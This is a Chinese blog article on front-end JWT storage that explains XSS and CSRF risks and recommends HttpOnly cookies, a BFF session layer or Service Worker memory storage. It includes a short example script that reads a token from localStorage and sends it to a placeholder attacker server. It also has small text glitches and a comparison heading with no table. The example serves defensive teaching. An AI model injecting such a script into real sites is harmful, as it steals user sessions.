前言

多年來(lái)，將 JWT (JSON Web Token) 等用戶的身份信息存儲(chǔ)在 localStorage或sessionStorage 中，似乎已經(jīng)成了前后端分離架構(gòu)下的“標(biāo)準(zhǔn)答案”。然而，隨著網(wǎng)絡(luò)安全威脅的不斷演進(jìn)，這個(gè)曾經(jīng)的“最佳實(shí)踐”如今已然成為一個(gè)巨大的安全隱患。

localStorage脆弱的安全性

localStorage 的核心問(wèn)題在于其脆弱的安全性，這主要體MAT現(xiàn)在對(duì) XSS (Cross-Site Scripting, 跨站腳本攻擊) 的無(wú)力抵抗上。

XSS

簡(jiǎn)單來(lái)說(shuō)，XSS 攻擊是指攻擊者設(shè)法在我們的網(wǎng)站上注入并執(zhí)行了惡意的 JavaScript 腳本。注入的途徑多種多樣，可能是一個(gè)被用戶渲染的惡意評(píng)論，也可能是一個(gè)包含惡意代碼的 URL 參數(shù)。

一旦惡意腳本在我們的頁(yè)面上成功執(zhí)行，它就擁有了與我們自己的前端代碼幾乎完全相同的權(quán)限。這意味著：

它可以輕松訪問(wèn) localStorage！

攻擊者只需要注入一行簡(jiǎn)單的代碼，就可以將我們存儲(chǔ)的 JWT 發(fā)送到他自己的服務(wù)器上：

//攻擊者注入的惡意腳本
const stolenToken = localStorage.getItem('jwt_token');
//創(chuàng)建一個(gè)看不見(jiàn)的圖片元素
const img = new Image();
//將偷來(lái)的 Token 作為 URL 參數(shù)，賦值給圖片的 srcimg.src =`https://attacker-server.com/steal?token=${encodeURIComponent(stolenToken)}`;

一旦 Token 被盜，攻擊者就可以冒充我們的用戶，為所欲為。所有依賴于這個(gè) Token 的后端接口都將對(duì)攻擊者敞開(kāi)大門。這無(wú)疑是毀滅性的。

結(jié)論： localStorage 本質(zhì)上是一個(gè)對(duì) JavaScript 完全開(kāi)放的沙盒。任何能夠在我們頁(yè)面上執(zhí)行的腳本，都能讀寫其中的所有數(shù)據(jù)。將敏感的、具有用戶身份憑證的 JWT 存放在這里，就像把家門鑰匙掛在了門外的釘子上——方便了自己，也方便了小偷。

傳統(tǒng)解決方案：HttpOnly Cookie

為了解決 XSS 盜取 Token 的問(wèn)題，社區(qū)很早就提出了一個(gè)經(jīng)典的方案：使用 HttpOnly Cookie。

當(dāng)服務(wù)器在設(shè)置 Cookie 時(shí)，如果添加了 HttpOnly 標(biāo)志，那么這個(gè) Cookie 將無(wú)法通過(guò)客戶端 JavaScript (document.cookie) 來(lái)訪問(wèn)。瀏覽器只會(huì)在發(fā)送 HTTP 請(qǐng)求時(shí)自動(dòng)攜帶它。

優(yōu)點(diǎn)：

• 有效防御 XSS 盜取：由于 JS 無(wú)法讀取，XSS 攻擊者無(wú)法直接竊取 Token。
• 瀏覽器自動(dòng)管理：無(wú)需前端代碼手動(dòng)在每個(gè)請(qǐng)求頭中添加 Authorization。

但它也并非完美，帶來(lái)了新的挑戰(zhàn)：CSRF 攻擊。

CSRF

CSRF (Cross-Site Request Forgery, 跨站請(qǐng)求偽造) 是指攻擊者誘導(dǎo)用戶在一個(gè)已經(jīng)登錄的網(wǎng)站上，從一個(gè)惡意網(wǎng)站發(fā)起非本意的請(qǐng)求。

例如，我們登錄了 bank.com，瀏覽器保存了 bank.com 的 HttpOnly Cookie。此時(shí)，我們?cè)L問(wèn)了一個(gè)惡意網(wǎng)站 evil.com，該網(wǎng)站上有一個(gè)自動(dòng)提交的表單，其目標(biāo)是 bank.com 的轉(zhuǎn)賬接口。當(dāng)我們打開(kāi) evil.com 時(shí)，瀏覽器會(huì)自動(dòng)攜帶 bank.com 的 Cookie 發(fā)起轉(zhuǎn)賬請(qǐng)求，從而在我們自己不知情的情況下完成轉(zhuǎn)賬。

解決方案：

CSRF 有成熟的防御手段：

1. SameSite 屬性：在設(shè)置 Cookie 時(shí)，將 SameSite 屬性設(shè)置為 Strict 或 Lax，可以有效阻止跨站請(qǐng)求攜帶 Cookie。
2. CSRF Token：服務(wù)器生成一個(gè)隨機(jī)的 CSRF Token，前端在每次發(fā)起狀態(tài)變更的請(qǐng)求時(shí)，都需要在請(qǐng)求體或請(qǐng)求頭中攜帶這個(gè) Token，服務(wù)器進(jìn)行驗(yàn)證。

HttpOnly Cookie 方案雖然可行，但要求后端進(jìn)行精細(xì)的 Cookie 配置和 CSRF 防御，對(duì)于現(xiàn)代前后端分離、特別是需要跨域調(diào)用的場(chǎng)景，配置會(huì)變得更加復(fù)雜。

前端鑒權(quán)新思路

BFF (Backend for Frontend) + Cookie

BFF，即 Backend For Frontend（服務(wù)于前端的后端）。。

在 Web 服務(wù)里，搭建一個(gè)中間層，前端訪問(wèn)中間層的接口，中間層再訪問(wèn)后臺(tái)的 Java/C++ 服務(wù)。負(fù)責(zé)鑒權(quán)、API 聚合、數(shù)據(jù)轉(zhuǎn)換等。

這類服務(wù)的特點(diǎn)是不需要太強(qiáng)的服務(wù)器運(yùn)算能力，但對(duì)程序的靈活性有較高的要求。

鑒權(quán)流程：

1. 登錄：前端將用戶名密碼發(fā)送給 BFF。
2. 認(rèn)證與換取：BFF 將憑證發(fā)送給真正的認(rèn)證服務(wù)，獲取 JWT。
3. 設(shè)置安全 Cookie：BFF 并不將 JWT 返回給前端。取而代之，BFF 創(chuàng)建一個(gè)會(huì)話（Session），并將 Session ID 存儲(chǔ)在一個(gè)安全的、HttpOnly、SameSite=Strict 的 Cookie 中，返回給瀏覽器。
4. API 請(qǐng)求：前端向 BFF 發(fā)起所有 API 請(qǐng)求（例如 /api/user）。由于是同域請(qǐng)求（或配置了 withCredentials），瀏覽器會(huì)自動(dòng)攜帶上述 Session Cookie。
5. 代理與鑒權(quán)：BFF 收到請(qǐng)求后，通過(guò) Session Cookie 找到對(duì)應(yīng)的會(huì)話和 JWT，然后將 JWT 添加到請(qǐng)求頭中，再將請(qǐng)求轉(zhuǎn)發(fā)給后端的微服務(wù)。

BFF層作為前端與后端的橋梁，主要負(fù)責(zé)處理以下問(wèn)題：

1. ‌適配多端需求‌：不同終端（如Web、移動(dòng)端、小程序）對(duì)數(shù)據(jù)需求不同，BFF層可按前端需求定制數(shù)據(jù)格式，減少數(shù)據(jù)傳輸量。 ‌23
2. ‌簡(jiǎn)化前端邏輯‌：封裝多個(gè)后端接口調(diào)用，將復(fù)雜業(yè)務(wù)邏輯移至后端處理，前端只需調(diào)用簡(jiǎn)化后的API。 ‌25
3. ‌提升安全性‌：通過(guò)統(tǒng)一身份驗(yàn)證、權(quán)限控制等機(jī)制，避免前端直接暴露后端細(xì)節(jié)。 ‌24
4. ‌降低耦合性‌：當(dāng)后端服務(wù)變更時(shí)，BFF層可進(jìn)行適配轉(zhuǎn)換，減少對(duì)前端的直接影響。 ‌23

優(yōu)點(diǎn)：

• 對(duì)于前端來(lái)說(shuō)：讓前端有能力自由組裝后臺(tái)數(shù)據(jù)，這樣可以減少大量的業(yè)務(wù)溝通成本，加快業(yè)務(wù)的迭代速度；并且，前端同學(xué)能夠自主決定與后臺(tái)的通訊方式。
• 對(duì)于后臺(tái)和運(yùn)維來(lái)說(shuō)，好處是：安全性（不會(huì)把主服務(wù)器暴露在外面）、降低主服務(wù)器的復(fù)雜度等。

缺點(diǎn)：

• 增加了架構(gòu)復(fù)雜度：需要額外維護(hù)一個(gè) BFF 服務(wù)。

Service Worker + 內(nèi)存存儲(chǔ)

Service Worker是一種運(yùn)行在瀏覽器后臺(tái)的獨(dú)立線程，主要用于提升網(wǎng)頁(yè)性能和實(shí)現(xiàn)后臺(tái)功能，如離線緩存、網(wǎng)絡(luò)代理、消息推送等。

將 Token 的管理權(quán)完全交給 Service Worker，主線程（我們的 React/Vue 應(yīng)用）不直接接觸 Token。

鑒權(quán)流程：

1. 登錄：主線程登錄成功后，通過(guò) postMessage 將獲取到的 JWT 發(fā)送給激活的 Service Worker。
2. 內(nèi)存存儲(chǔ)：Service Worker 接收到 Token 后，將其存儲(chǔ)在自身的作用域內(nèi)的一個(gè)變量中（即內(nèi)存中）。它不使用 localStorage 或 IndexedDB。
3. 攔截請(qǐng)求：前端應(yīng)用像往常一樣發(fā)起 fetch('/api/data') 請(qǐng)求，但不添加 Authorization 頭。
4. 注入 Token：Service Worker 監(jiān)聽(tīng) fetch 事件，攔截所有出站的 API 請(qǐng)求。它會(huì)克隆原始請(qǐng)求，并將內(nèi)存中存儲(chǔ)的 Token 添加到新請(qǐng)求的 Authorization 頭中。
5. 發(fā)送請(qǐng)求：Service Worker 將帶有 Token 的新請(qǐng)求發(fā)送到網(wǎng)絡(luò)。

優(yōu)點(diǎn)：

• 有效隔離：Token 存儲(chǔ)在 Service Worker 的獨(dú)立運(yùn)行環(huán)境中，與主線程的 window 對(duì)象隔離，常規(guī)的 XSS 腳本無(wú)法訪問(wèn) Service Worker 的內(nèi)部變量，安全性遠(yuǎn)高于 localStorage。
• 邏輯集中：Token 的刷新邏輯（Refresh Token）也可以封裝在 Service Worker 中，對(duì)應(yīng)用代碼完全透明。
• 無(wú)需額外服務(wù)：相比 BFF，這是一個(gè)純前端的解決方案。

缺點(diǎn)：

• 實(shí)現(xiàn)復(fù)雜：Service Worker 的生命周期和通信機(jī)制比 localStorage 復(fù)雜得多。
• 兼容性與穩(wěn)定性：需要考慮瀏覽器兼容性，以及 Service Worker 被意外終止或更新的場(chǎng)景。

幾種方案對(duì)比

總結(jié)

將 JWT 存儲(chǔ)在 localStorage 的時(shí)代正在過(guò)去。這并非危言聳聽(tīng)，而是對(duì)日益嚴(yán)峻的網(wǎng)絡(luò)安全形勢(shì)的積極響應(yīng)。

• 對(duì)于新項(xiàng)目或有重構(gòu)計(jì)劃的項(xiàng)目，強(qiáng)烈建議采用 BFF + Cookie 模式。它雖然增加了架構(gòu)成本，但換來(lái)的是頂級(jí)的安全性和清晰的職責(zé)劃分，從長(zhǎng)遠(yuǎn)看是值得的。
• 對(duì)于追求極致前端技術(shù)或構(gòu)建 PWA 的團(tuán)隊(duì)，Service Worker 方案提供了一個(gè)充滿想象力的選擇，能夠?qū)踩吔缈刂圃谇岸藘?nèi)部。
• 如果我們的應(yīng)用規(guī)模較小，且暫時(shí)無(wú)法引入 BFF，那么退而求其次，HttpOnly Cookie 配合嚴(yán)格的 SameSite 策略和 CSRF Token，依然是比 localStorage 安全得多的可靠選擇。

到此這篇關(guān)于關(guān)于js JWT的前端存儲(chǔ)新思路的文章就介紹到這了,更多相關(guān)js JWT前端存儲(chǔ)內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！

最新評(píng)論